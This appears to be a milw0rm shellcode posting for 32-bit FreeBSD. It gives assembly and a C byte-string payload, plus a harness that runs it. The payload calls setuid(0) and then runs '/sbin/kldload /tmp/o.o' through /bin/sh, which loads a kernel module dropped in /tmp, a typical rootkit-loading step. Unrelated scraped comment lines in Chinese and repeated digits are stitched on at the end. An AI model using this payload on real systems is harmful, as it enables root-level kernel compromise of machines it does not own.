/* The kldload shellcode
setuid(0)
loads /tmp/o.o kernel module
Size 74 bytes
OS FreeBSD
/rootteam/dev0id (www.sysworld.net)
[email protected]
BITS 32
jmp short callme
main:
pop esi
xor eax,eax
mov al,0x17
push eax
int 0x80
xor eax,eax
push eax
push long 0x68732f6e
push long 0x69622f2f
mov ebx,esp
push eax
push word 0x632d
mov edi,esp
push eax
push esi
push edi
push ebx
mov edi,esp
push eax
push edi
push ebx
push eax
mov al,0x3b
int 0x80
callme:
call main
db '/sbin/kldload /tmp/o.o'
*/
char shellcode[] =
"xebx2cx5ex31xc0xb0x17x50xcdx80x31xc0x50x68x6e"
"x2fx73x68x68x2fx2fx62x69x89xe3x50x66x68x2dx63"
"x89xe7x50x56x57x53x89xe7x50x57x53x50xb0x3bxcd"
"x80xe8xcfxffxffxffx2fx73x62x69x6ex2fx6bx6cx64"
"x6cx6fx61x64x20x2fx74x6dx70x2fx6fx2ex6f";
int
main(void)
{
int *ret;
ret = (int*)&ret+2;
(*ret) = shellcode;
}
// milw0rm.com [2004-09-26]
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666